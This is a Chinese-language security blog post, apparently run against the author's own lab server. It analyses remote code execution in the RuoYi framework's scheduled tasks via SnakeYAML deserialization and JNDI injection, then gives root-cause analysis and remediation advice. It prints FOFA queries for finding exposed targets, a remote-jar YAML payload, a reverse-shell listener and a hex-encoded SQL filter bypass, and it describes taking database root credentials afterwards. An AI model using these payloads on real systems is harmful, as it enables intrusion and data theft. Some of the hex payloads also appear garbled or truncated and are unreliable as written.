前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >某依框架定时任务RCE分析与思考

某依框架定时任务RCE分析与思考

作者头像
叔牙
发布2024-11-29 17:34:19
发布2024-11-29 17:34:19
24600
代码可运行
举报
运行总次数:0
代码可运行

提示: 靶场来自个人云服务器,真实网络环境渗透测试请严格遵守《中国网络信息安全法》,请勿轻易用于他人线上网络环境安全测试,本人不承担任何法律责任。

一、概述

RuoYi是一个后台管理系统,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。

目前很多外包项目以及中小企业的管理平台很多都是基于此框架实现,或者做了二次开发实现。

在fofa平台搜索可以看到非常多的服务使用了此框架:

代码语言:javascript
代码运行次数:0
复制
(icon_hash="-1231872293" || icon_hash="706913071")
或者
title="登录若依系统"

并且此框架存在很多问题和漏洞。

而关于框架的定时任务,文档介绍如下:

简单来说是支持两种方式的调用,要么是java服务中预定义好的bean,直接调用,要么是指定类的全路径调用,而全路径调用就是一个风险比较高的利用点。

本篇文章我们就介绍一下定时任务漏洞形成的原因、利用方式以及修复建议。

二、SnakeYAML反序列化EXP

系统部署可参考官网教程,这里不再展开介绍。

1.编写payload启动服务

下载yaml-payload项目并修改AwesomeScriptEngineFactory类:

中间是执行bash命令反弹,执行的命令需要base64编码:

然后执行编译命令编译AwesomeScriptEngineFactory类,并把项目打成jar:

代码语言:javascript
代码运行次数:0
复制
#编译
javac src/artsploit/AwesomeScriptEngineFactory.java
#打包
jar -cvf yaml-payload.jar -C src/ .

打包完成后在jar同级目录通过python命令启动http服务,提供jar下载能力:

代码语言:javascript
代码运行次数:0
复制
python3 -m http.server 8080

访问http://xxx:8080/yaml-payload.jar可以下载,为后续执行任务访问远程jar包提供能力:

2.启动tcp服务

在上一步bash反弹指定的测试机上,启动tcp服务并监听指定端口:

代码语言:javascript
代码运行次数:0
复制
nc -nlvp 3456
3.修改定时任务

修改定时任务,把调用目标修改为:

代码语言:javascript
代码运行次数:0
复制
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://xxx:8080/yaml-payload.jar"]]]]')

目的是根据前边所说的,任务执行可以指定类的全路径,会自动实例化,利用这一点让ScriptEngineManager实例化的时候去http://xxx:8080/yaml-payload.jar路径下载jar包并执行反弹。

该框架在v4.6.2及以下,对调用目标字符串限制不是很严格,可以直接随意编辑。v4.6.2~4.7.1新增黑名单限制调用字符串

  • 定时任务屏蔽ldap远程调用
  • 定时任务屏蔽http(s)远程调用
  • 定时任务屏蔽rmi远程调用

可以通过空格和单引号来绕过,尝试一下:

目测版本比较高了。结合4.7.5 版本下的sql注入漏洞,可以通过sql注入直接修改表中的数据,修改sys_job表的invoke_target即可。

可参考:https://gitee.com/y_project/RuoYi/issues/I65V2B

https://github.com/luelueking/ruoyi-4.7.5-vuln-poc/tree/main

这种方式可自行研究,这里不做展开介绍,重点介绍通过"代码生成"能力,来注入:

会调用接口createTable接口:

那么就可以从GenTableServiceImpl作为切入点做文章:

开篇有介绍到,定时任务的调用目标可以是java服务中预定义好的bean,那么就可以写成如下方式尝试:

代码语言:javascript
代码运行次数:0
复制
genTableServiceImpl.createTable('xxx');

把内容改造成如下进行保存:

代码语言:javascript
代码运行次数:0
复制
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps:port/yaml-payload.jar"]]]]')' WHERE job_id = 1;')

还是绕不过合法性检查!!!

要不放弃了?再想一想~

在网上看到了mysql隐士类型转换的概念,在执行update时,把字符串类型的字段赋值为16进制,会自动隐式转换,保存成varchar类型,什么意思呢?

很好,把前边的内容字符串转成16进制,改造执行目标字符串:

代码语言:javascript
代码运行次数:0
复制
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e65616e616d2729 WHERE job_id = 1;')

这里需要注意的是,转换后的16进制字符前边要加上0x,否则无法识别,然后再保存:

成功了,执行这条任务会修改id为1的任务执行目标字符串,也就是invoke_target,手动执行一次:

果然编号为1的任务,调用目标内容被修改了,也就是前边我们想要的SnakeYAML反序列化要执行的内容。多说无益,直接开搞执行一次:

查看执行日志,报错了~

翻山越岭,看到某位师傅的文章中介绍到:

而任务中的内容确实是没有了空格:

反复验证后发现确实是字符串转16进制的时候空格丢失了,空格被认为非有效字符过滤掉了:

那么简单,空格的16进制为20,我们把字符串有空格的地方截断分开转16进制,然后补上20(空格):

然后合成新的带手动补充16进制空格字符的语句:

代码语言:javascript
代码运行次数:0
复制
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6172729 WHERE job_id = 1;')

重新更新任务的调用目标字符串,并执行:

可以看到,任务编号为1的定时任务调用目标字符串出现"["的地方,前边都补上了空格,理论上语法已经没有什么问题了!

手动执行一次任务,观察调度日志看到任务已经执行成功了:

到通过nc启动tcp服务的测试机上观察,看到shell反弹成功了:

并且java服务是root账户启动,相当于已经拿下了root,可以进行后续进一步分析利用了。

4.后续分析利用

前一步getshell成功,服务器上启动了ruoyi-admin服务,并且可以找到jar包的位置,使用jar命令解压jar包:

代码语言:javascript
代码运行次数:0
复制
jar -xvf ruoyi-admin.jar

可以找到application.yml和application-druid.yml配置文件:

数据库账密配置在application-druid.yml:

数据库用root连接,真的很可爱,这里拿到了账密,用网络搜索引擎或者nmpa扫描一下端口,可以看到3306端口是公网暴露的:

用终端可以直接连接成功:

由于是root账号,mysql实例下的所有schema底裤被扒,一览无遗。

到这里,一个项目最核心的服务器被控制,数据库被控制,基本上就被扒的很彻底了。

三、JNDI注入EXP

前边SnakeYAML反序列化分析的比较详细,JNDI虽然工作原理不同,但是利用方式类似,简单介绍下即可。

1.编写Exploit并启动下载服务

然后编译完成后在class同级目录通过python命令启动http服务,提供class访问下载能力:

2.启动LDAP服务

下载marshalsec代码,打包编译后启动LDAP服务:

代码语言:javascript
代码运行次数:0
复制
#拉取代码
git clone https://github.com/mbechler/marshalsec.git


#编译打包
cd marshalsec
mvn -U clean compile package -Dmaven.test.skip


#启动ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx:8080/#Exploit 1389
3.启动tcp服务

在测试机上,启动tcp服务并监听指定端口:

4.修改任务并触发RCE

和前边的SnakeYAML反序列化一样,修改任务也绕不开特殊字符的限制,所以直接一步到位基于genTableServiceImpl.createTable来实现,执行后看到编号为1的任务调用目标已经修改成功:

执行后也能达到和SnakeYAML反序列化利用同样的效果,这里就不再展开描述。

5.jndi高版本绕过

LDAP的限制是从JDK 11.0.1、8u191、7u201、6u211 开始的,之后的版本com.sun.jndi.ldap.object.trustURLCodebase默认为false。

所以jdk 8u191之后的的版本,无法通过RMI、LDAP加载远程的Reference工厂类。

只有trustURLCodebase为true时才允许执行jdni ldap命令,往上有很多绕过的教程,可参考:

http://wjlshare.com/archives/1661

https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/

四、漏洞分析

1.任务执行滥用

任务执行可以支持当前java服务上下文重定义好的bean,也可以通过类全路径实例化执行,观察JobInvokeUtil方法:

代码语言:javascript
代码运行次数:0
复制
public static void invokeMethod(SysJob sysJob) throws Exception
{
    String invokeTarget = sysJob.getInvokeTarget();
    String beanName = getBeanName(invokeTarget);
    String methodName = getMethodName(invokeTarget);
    List<Object[]> methodParams = getMethodParams(invokeTarget);


    if (!isValidClassName(beanName))
    {
        Object bean = SpringUtils.getBean(beanName);
        invokeMethod(bean, methodName, methodParams);
    }
    else
    {
        Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
        invokeMethod(bean, methodName, methodParams);
    }
}

如果是bean类型,直接从ApplicationContext上下文中获取,然后执行,如果是类路径,则手动实例化然后执行。看一下框架的技术栈:

算是相当复杂的技术栈了,可以想象一下在java项目中那么多依赖,以及间接依赖,很难保证不存在漏洞的依赖版本,如果找到了,直接通过定时任务执行进行实例化,那么是不是就存在被攻击的风险了呢?

所以要拎清楚什么场景如何做什么事情,不要滥用某些能力!至少我认为类路径调用是不需要的。

2.过度设计

对于某些功能的设计,个人不敢苟同,其他的不过多评论,这个代码生成,直接给前端贴sql语句到后端去执行,这个功能解决什么问题呢?

反而增加了sql注入风险,增加了攻击面。

另外说一下“1+1>2”的问题,对于代码生成和定时任务执行,本身是两个功能点,各自解决不同场景的问题和满足使用诉求,前边我们有聊到代码生成接口/createTable会直接调用GenTableServiceImpl的createTable方法:

代码语言:javascript
代码运行次数:0
复制
@Override
public boolean createTable(String sql)
{
    return genTableMapper.createTable(sql) == 0;
}

最终实现是:

代码语言:javascript
代码运行次数:0
复制
<update id="createTable">
    ${sql}
</update>

这里可以理解为没有什么限制的,或者说限制比较宽松的,结合前边说的定时任务执行可以使用服务上下文中定义好的bean执行逻辑,那么也就产生了定时任务的执行目标,可以是genTableServiceImpl.createTable,甚至可以理解为spring容器中任何bean,controller、service、repository都可以,比如一些敏感接口controller层会有登录态、角色权限限制,而controller本质也是spring容器中的bean,那么是不是可以在定时任务的执行目标直接通过controller对应的bean执行逻辑呢?

也就产生了所说的“1+1>2”问题,本身各自功能没有什么问题,由于过度设计的问题,导致越权、滥用等问题。

3.任务目标有效性浅校验

稍微细心的话,定时任务执行目标内容的有效性和合法性只在添加和编辑定时任务的时候做了限制,执行任务的时候并没有做校验,这也就导致了通过GenTableServiceImpl的createTable方法结合字符串16进制转码修改任务后,自动触发和手动执行都成触发RCE。题外话就是明显存在侥幸心理,简单认为在编辑和添加的时候你绕不过,那么执行的时候我就万事大吉不用管了,这样说吧,hacker就喜欢这样的~

4.SnakeYAML反序列化

由于框架使用了springboot,而springboot默认支持yaml格式的配置文件解析,也就是说springboot默认集成了SnakeYAML相关能力。不需要在pom文件中显式引入:

再结合定时任务可以通过类的全路径来实例化执行,所以就出现了前边所说的把任务执行内容改成了:

代码语言:javascript
代码运行次数:0
复制
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps:port/yaml-payload.jar"]]]]')

执行的时候,反序列化逻辑触发RCE。我们看一下Yaml的load方法逻辑:

代码语言:javascript
代码运行次数:0
复制
public <T> T load(String yaml) {
    return (T) loadFromReader(new StreamReader(yaml), Object.class);
}

根据调用栈debug调用到getSingleData方法,该方法将内容解析成Node节点,然后再执行其他逻辑:

然后把节点内容实例化之后,用来初始化ScriptEngineManager类,根据ScriptEngineManager实例化时传入的是URLClassLoader,所以会调用有参构造器:

代码语言:javascript
代码运行次数:0
复制
public ScriptEngineManager(ClassLoader loader) {
    init(loader);
}

在init()中调用了initEngines(),进入initEngines(),看到调用了ServiceLoader<ScriptEngineFactory>,这个是Java的SPI机制,它会去寻找目标URL中META-INF/services目录下的名为javax.script.ScriptEngineFactory的文件,获取该文件内容并加载文件内容中指定的类即我们前边写的AwesomeScriptEngineFactory,这就是前面为什么需要我们在一台测试服务器中新建一个指定目录的文件,同时也说明了ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致远程代码执行RCE:

继续跟进,会执行到ServiceLoader$LazyIterator.nextService()方法:

方法中调用Class.forName()即通过反射来获取目标URL上的恶意ScriptEngineFactory,AwesomeScriptEngineFactory.class,此时启动http服务的测试服务器上会看到被请求访问远程jar的记录。

然后c.newInstance()方法创建的恶意类实例的逻辑,传入到javax.script.ScriptEngineManager类的cast()方法来执行,此时触发攻击类AwesomeScriptEngineFactory的实例化,而攻击代码在构造器中执行,从而触发恶意代码执行。

当然这里也可以改造成写一块静态代码,在实例化之前就执行了,道理是通用的。

到这里SnakeYAML反序列化攻击的实现方式,和攻击原理基本都介绍清楚了,另外这个反序列化漏洞目前是覆盖到SnakeYAML所有版本,因为它本身不是漏洞,而是使用方式滥用带来的缺陷或者漏洞吧,ruoyi框架有没有修复取决于框架自己的限制和改造。

5.JNDI注入

jndi是jdk自带的协议,很多其他漏洞,比如fastjson,jackson,都依赖于JDNI注入,即LDAP/RMI等伪协议。借用别人一张图:

这里只对ldap做一下简单分析,原理大概是客户端连接ldap,然后ldap服务端经过协议转换和转发,让客户端访问远程恶意类,然后本地加载和实例化从而实现恶意代码执行。

使用比较常用的marshalsec来做分析:

服务端默认监听1389端口,可在启动时指定,客户端连接ldap服务端的时候,然后指向另外一个http服务,让客户端去访问下载恶意类:

然后客户端的调用链大致如下,根据jdk版本的不同会有差异:

代码语言:javascript
代码运行次数:0
复制
getObjectFactoryFromReference(Reference, String):146, NamingManager (javax.naming.spi), NamingManager.java
getObjectInstance(Object, Name, Context, Hashtable, Attributes):188, DirectoryManager (javax.naming.spi), DirectoryManager.java
c_lookup(Name, Continuation):1086, LdapCtx (com.sun.jndi.ldap), LdapCtx.java
p_lookup(Name, Continuation):544, ComponentContext (com.sun.jndi.toolkit.ctx), ComponentContext.java
lookup(Name):177, PartialCompositeContext (com.sun.jndi.toolkit.ctx), PartialCompositeContext.java
lookup(String):203, GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java
lookup(String):94, ldapURLContext (com.sun.jndi.url.ldap), ldapURLContext.java
lookup(String):411, InitialContext (javax.naming), InitialContext.java
main(String[]):7, JNDIClient (jndi_test1), JNDIClient.java

最终会调用到NamingManager的getObjectFactoryFromReference方法:

先从本地加载对应的类,如果没有找到则去寻找指定路径的类,这里就是我们前边所说的http://xxx:8080/Exploit路径,找到后进行实例化,恶意类在构造方法中植入了恶意代码,实例化便会触发恶意代码执行:

而高版本jdk把trustURLCodebase默认设置为false,所以在执行loadClass的时候会返回null,从而造成不去访问加载恶意类,无法执行恶意命令。

高版本有很多bypass方案,但是很多绕过方案依赖cc漏洞,如果commons-collections版本不允许相关操作,那就不太行得通,感兴趣的话可以自行研究。

五、漏洞修复与思考

上述内容的起点是弱口令,控制台或者登录态被拿到,然后利用框架特性执行相关的服务器渗透相关操作以及后续利用,我们也从以下几点介绍下防护方案。

1.杜绝弱口令

这个说过很多次了,很多的渗透都是从弱口令开始的,一定要改掉默认密码加强第一道防线。

2.升级安全版本

理论上高版本除了增加功能外,会修复漏洞升级依赖等,有形无形的一些漏洞大概率就被堵上了。

3.去掉类路径执行任务逻辑

定时任务的执行方式支持的类路径实例化后执行相关逻辑,这个功能实属鸡肋,有二次开发能力的直接干掉,个人理解定时任务能够调用的代码和执行的逻辑,应该是已知的,或者定义好的,通过类路径实例化执行增加了太多的不可控风险。

4.代码生成等类似功能限制

一句话,专业的事情交给专业的人和工具来做,不是一个平台啥都能干,啥都要干,生成代码的功能用不到就移除。

参考

http://doc.ruoyi.vip/ruoyi/document/gxrz.html#v4-7-5

http://doc.ruoyi.vip/ruoyi/document/htsc.html#%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1

https://github.com/yangzongzhuan/RuoYi

https://xz.aliyun.com/t/16026?u_atoken=488b02e88b391f415ec06a33d9faa938&u_asig=1a0c399717314835716142496e0037&time__1311=eq0h7KiIqjOGkDcDBqDuefbj8jIKB0eD#toc-8

https://xz.aliyun.com/t/10687?u_atoken=bb49baf0090d9e981714f3ecc5ed70cd&u_asig=0a472f5217325228594455499e0031

https://forum.butian.net/share/2796

https://www.cnblogs.com/carmi/p/18402581#%E6%B3%A8%E5%85%A5%E7%82%B910-%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1sql%E6%B3%A8%E5%85%A5

https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC?tab=readme-ov-file

https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://github.com/artsploit/yaml-payload

https://b1ue.cn/archives/529.html

https://paper.seebug.org/942/

https://xz.aliyun.com/t/10035?time__1311=Cqjx2DRii%3DqiqGNDQiuDQqfCxg7BDBBQWoD

https://github.com/frohoff/ysoserial

https://github.com/mbechler/marshalsec

https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-11-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 PersistentCoder 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、概述
  • 二、SnakeYAML反序列化EXP
    • 1.编写payload启动服务
    • 2.启动tcp服务
    • 3.修改定时任务
    • 4.后续分析利用
  • 三、JNDI注入EXP
    • 1.编写Exploit并启动下载服务
    • 2.启动LDAP服务
    • 3.启动tcp服务
    • 4.修改任务并触发RCE
    • 5.jndi高版本绕过
  • 四、漏洞分析
    • 1.任务执行滥用
    • 2.过度设计
    • 3.任务目标有效性浅校验
    • 4.SnakeYAML反序列化
    • 5.JNDI注入
  • 五、漏洞修复与思考
    • 1.杜绝弱口令
    • 2.升级安全版本
    • 3.去掉类路径执行任务逻辑
    • 4.代码生成等类似功能限制
  • 参考
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档